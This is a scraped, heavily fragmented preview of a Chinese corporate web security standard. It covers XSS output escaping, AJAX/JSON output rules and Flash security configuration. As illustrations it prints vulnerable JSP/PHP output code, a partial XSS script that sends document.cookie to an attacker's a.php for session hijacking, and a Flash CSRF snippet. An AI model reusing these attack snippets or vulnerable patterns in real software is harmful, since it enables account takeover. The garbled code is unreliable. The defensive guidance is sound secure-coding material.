阿里巴巴集团web安全标准Ver14文档格式.docx

上传人:b****6 文档编号:17246639 上传时间:2022-11-29 格式:DOCX 页数:53 大小:472.63KB
下载 相关 举报
阿里巴巴集团web安全标准Ver14文档格式.docx_第1页
第1页 / 共53页
阿里巴巴集团web安全标准Ver14文档格式.docx_第2页
第2页 / 共53页
阿里巴巴集团web安全标准Ver14文档格式.docx_第3页
第3页 / 共53页
阿里巴巴集团web安全标准Ver14文档格式.docx_第4页
第4页 / 共53页
阿里巴巴集团web安全标准Ver14文档格式.docx_第5页
第5页 / 共53页
点击查看更多>>
下载资源
资源描述

阿里巴巴集团web安全标准Ver14文档格式.docx

《阿里巴巴集团web安全标准Ver14文档格式.docx》由会员分享,可在线阅读,更多相关《阿里巴巴集团web安全标准Ver14文档格式.docx(53页珍藏版)》请在冰豆网上搜索。

阿里巴巴集团web安全标准Ver14文档格式.docx

<

tr>

td>

<

%=rs.getInt("

id"

)%>

/td>

%=rs.getString("

pname"

)%>

pdesc"

ptype"

/tr>

%

}

代码中这几个加粗的变量“rs.getInt("

)、rs.getString("

)”,被直接输出到了页面中,没有做任何安全过滤,一旦让用户可以输入数据,都可能导致用户浏览器把“用户可控数据”当成JS/VBS脚本执行,或页面元素被“用户可控数据”插入的页面HTML代码控制,从而造成攻击。

PHP代码示例

?

=$row["

]?

>

]?

攻击实例

如果“代码示例”中的代码,是上的一个web应用,恶意用户可以做以下攻击。

攻击流程:

1、添加产品时插入恶意脚本

攻击者发布产品后,等待用户来浏览产品列表页面。

2、一个用户浏览了页面

页面代码

页面中直接显示了攻击者当时提交的“pdesc”的内容,也就是恶意脚本。

将执行

脚本内容:

a=document.createElement("

iframe"

);

functionb(){e=escape(document.cookie);

c=["

获取当前浏览者的COOKIE,并发送到a.php,这个文件负责接收到用户发来的cookie,并保存为haha.txt文件。

这时,用户的cookie已经发送到了攻击者的服务器上,攻击者可以打开haha.txt文件。

这就是刚才那个用户的cookie,攻击者可以使用浏览器插件,把自己的cookie替换成刚刚窃取用户的cookie。

之后攻击者再次访问服务器时,服务器应用程序,就认为攻击者的身份是刚刚那个用户。

解决方案

HTML/XML页面输出规范:

1,在HTML/XML中显示“用户可控数据”前,应该进行htmlescape转义。

JAVA示例:

div>

#escapeHTML($user.name)<

/div>

<

#escapeHTML($user.name)<

所有HTML和XML中输出的数据,都应该做htmlescape转义。

escapeHTML函数参考esapi实现:

PHP示例:

htmlentities($row["

user.name"

])<

escapeHTML需要进行html转义应该按照以下列表进行转义

&

-->

&

amp;

lt;

>

gt;

"

quot;

'

#39;

2,在javascript内容中输出的“用户可控数据”,需要做javascriptescape转义。

html转义并不能保证在脚本执行区域内数据的安全,也不能保证脚本执行代码的正常运行。

script>

alert('

#escapeJavaScript($user.name)'

)<

/script>

x='

divonmouseover="

"

需要转义的字符包括

/-->

\/

'

-->

\'

\"

\-->

\\

escapeJavaScript函数参考esapi实现:

3,对输出到富文本中的“用户可控数据”,做富文本安全过滤(允许用户输出HTML的情况)。

示例(Fasttext框架):

文章内容:

#SHTML($article.context)<

安全过滤的代码,请参考“Fasttext框架”的富文本输出函数。

Fasttext源码:

http:

//svn.alibaba-

4,输出在url中的数据,做url安全输出。

一些html标签的属性,需要,如果接收“用户可控数据”,需要做安全检查。

以下属性的值,如果是用户可控数据,需要做安全检查

action'

'

background'

codebase'

dynsrc'

href'

lowsrc'

src'

这些属性的值,一般都是一个URL,如果整串URL都是由“用户可控数据”组成的,则必须满足以下条件:

1)以“http”开头

char[]uc=url.toCharArray();

if(uc[0]!

='

h'

||uc[1]!

t'

||uc[2]!

||uc[3]!

p'

){

return"

;

}

2)转义“用户可控数据”中的以下字符

%3C

%3E

%22

%27

举例使用:

ahref=”#surl($url)”>

链接<

/a>

imgsrc=”#surl($imgurl)”>

Surl函数参考fasttext框架中的实现:

5,针对DOM跨站的解决方案,详见《javascript安全编码规范》,URL在

//security.alibaba-

6,在给用户设置认证COOKIE时,加入HTTPONLY,详见《Cookiehttponlyflag》章节。

7,在style内容中输出的“用户可控数据”,需要做CSSescape转义。

Stringsafe=ESAPI.encoder().encodeForCSS(request.getParameter("

input"

));

encodeForCSS实现代码参考:

AJAX输出规范:

1、XML输出“用户可控数据”时,对数据部分做HTML转义。

示例:

xmlversion="

1.0"

encoding="

UTF-8"

?

<

man>

name>

#xmlEscape($name)<

/name>

2、json输出要先对变量内容中的“用户可控数据”单独作htmlEscape,再对变量内容做一次javascriptEscape。

Stringcityname=”浙江<

B>

”+StringUtil.htmlEscape(city.name)+”<

/B>

”;

Stringjson=

citys:

{city:

['

+

StringUtil.javascript(cityname)+

]}"

3、非xml输出(包括json、其他自定义数据格式),response包中的http头的contentType,必须为json,并且用户可控数据做htmlEscape后才能输出。

response.setContentType("

application/json"

PrintWriterout=response.getWriter();

out.println(StringUtil.htmlEscape(ajaxReturn));

FLASH

FLASH安全

利用flash服务端和客户端在安全配置和文件编码上的问题,导致攻击者可以利用客户端的flash文件发起各种请求或者攻击客户端的页面。

FLASH的安全问题主要有服务端的安全设计问题和客户端的flash安全两块:

1、服务端的安全

由于没有正确的配置域策略文件,导致客户端的flash文件能够绕过同源策略的限制跨域获取数据。

2、客户端安全

客户端在嵌入flash文件的时候没有指定flash文件的客户端限制策略,导致嵌入在客户端的flash文件可以访问HTML页面的DOM数或者发起跨域请求。

恶意攻击者利用FLASH的安全问题可以:

1、绕过浏览器同源策略的限制发起跨域请求,比如发起CSRF攻击等。

2、直接更改页面的dom树,发起钓鱼或者跨站攻击。

服务器端crossdomain.xml的错误配置:

cross-domain-policy>

allow-access-fromdomain="

*"

/>

/cross-domain-policy>

这样的配置可以导致允许任何来自网络上的请求、不论该请求是来自本域内还是其它域发起的。

客户端嵌入flash的错误配置:

objectclassid="

clsid:

d27cdb6e-ae6d-11cf-96b8-444553540000"

codebase=

name="

Main"

width="

1000"

height="

600"

align="

middle"

id="

embedflashvars="

site=&

sitename="

src=”用户自定仪的一个flash文件”name="

allowscriptaccess="

always"

type="

application/x-shockwave-flash"

pluginspage="

/object>

例子中的allowscriptaccess选项为always,这样的配置会使flash对于html的通讯也就是执行javascript不做任何限制,默认情况下值为“SameDomain”,既只允许来自于本域的flash与html通讯,建议设置为never;

例子中没有设置allowNetworking选项,需要把allowNetworking设置为none,因为allowNetworking在设置为all(默认是)或者是internal的情况下会存在发生csrfCSRF的风险,因为flash发起网络请求继承的是浏览器的会话,而且会带上sessioncookie和本地cookie。

1.引发XSS攻击:

在一个页面中嵌入flash的代码如下:

body>

hi>

MyFlashMovie<

/h1>

objecttype=”application/x-shockwave-flash”width=”550”heigt=”400”>

paramname=”allovwScriptAccess”value=”sameDomain”>

paramname=”movie”value=”myMovie.swf”>

paramname=”quality”value=”high”>

paramname=”bgcolor”value=”#ffffff”>

embedsrc=”myMove.swf”width=”550”height=”400”>

/embed>

/body>

用户可以在同域下的某个地方上传一个flash文件

如果用户制作一个flash代码如下:

VarsecretUsername=“cnben”;

VarsecretPassword=“hello1234”;

outputBox.htmlText=“pleaseenterapassword”;

functioncheckpassword(){

outputBox.htmlText=“Youmustbeavaliduser.”;

}else{

outputBox.htmlText=usernameBox.text+”error”

FunctionserPassword(newPassword:

String){

secretPassword=newPassword;

下面的请求将包含并执行一个存放在远程主机是哪个的javascript文件:

src=”

2.发起CSRF攻击

如果allowNetworking选项没有做配置,默认为all,这种情况下,上传一个如下代码的swf文件,用户访问包含这个swf文件的额网页将发起一次CSRF攻击:

import.URLRequest;

importflash.system.Security;

varurl=newURLRequest("

提交的目标地址"

varParam=newURLVariables();

Param="

参数"

url.method="

POST"

url.data=Param;

sendToURL(url);

stop();

Flash配置规范:

1、Crossdomain.xml的安全配置:

如果没有flash应用,去掉crossdomian.xml文件,对有flash应用域的根目录下需要配置crossdomain.xml策略文件,设置为只允许来自特定域的请求,比如淘宝的配置文件如下:

/>

不允许添加<

site-controlpermitted-cross-domain-policies="

by-content-type"

,这样会导致客户端可能自己加载自定义策略文件。

2、客户端嵌入flash文件的安全配置:

1)禁止设置flash的allowscriptaccess为always,必须设置为never,如果设置为SameDomain,需要客户可以上传的flash文件要在单独的一个域下。

2)设置allowNetworking选项为none。

3)设置allowfullscreen选项为false。

如下配置:

embedallowscriptaccess="

never"

allowNetworking=”none”allowfullscreen=”false”height=384width=454src=”用户自定义的一个flash文件”wmode="

transparent"

loop="

false"

autostart="

flash开发规范:

1、移除敏感信息

确认没有包含像用户名、密码、SQL查询或者其他认证信息在swf文件里面,因为swf文件能够被简单的反编译而使信息泄露

2、客户端的验证

客户端的验证能够通过反编译软件轻易的去除后重新编译,必须在客户端和服务端都做一次验证,但是服务端的验证不能少

3、去除调试信息

去除类似于“trace”和其他一些调试语句,因为他们能够暴露代码或数据的功能,如下代码片段暴露了该段代码的验证功能:

If(checklogin)

{

 

Userlogin=ture;

trace(“管理员验证成功”);

4、参数传入

如果有加载外部数据的需求,尽量不要在html中用“params”标签或者是querystring这种形式来注入数据到swf文件中。

可以的办法是通过sever端的一个http请求来得到参数。

5、allowDomain()

flash文件如果有和其他swf文件通信的需求,需要在swf中配置allowDomain()为制定的来源,禁止用*符号来允许任意来源

如下AS代码被严格禁止:

System.security.allowDomain("

loadMovie(param1,param2);

6、ActionScript2.0未初始化全局变量

AS2.0中接受用户通过FlashVars和Querystring中传入的数据并放到全局变量空间中,如果利用不当会引发变量未初始化漏洞从而绕过部分认证,如下AS代码片段所示:

If(Userlogin)

ShowData();

如果用户在GET请求或者在HTML中作为一个对象参数将userLoggedIn设为true,如下所示:

解决方案:

AS2.0使用_resolve属性捕获未定义的变量或函数,如下所示:

//instantiateanewobject

varmyObject:

Object=newObject();

//definethe__resolvefunction

myObject.__resolve=function(name){

未定义的变量"

};

7、加载调用外部文件

当FLASH加载调用外部文件的时候需要过滤掉里面的恶意内容,

主要有metadata里面

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 自然科学 > 天文地理

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1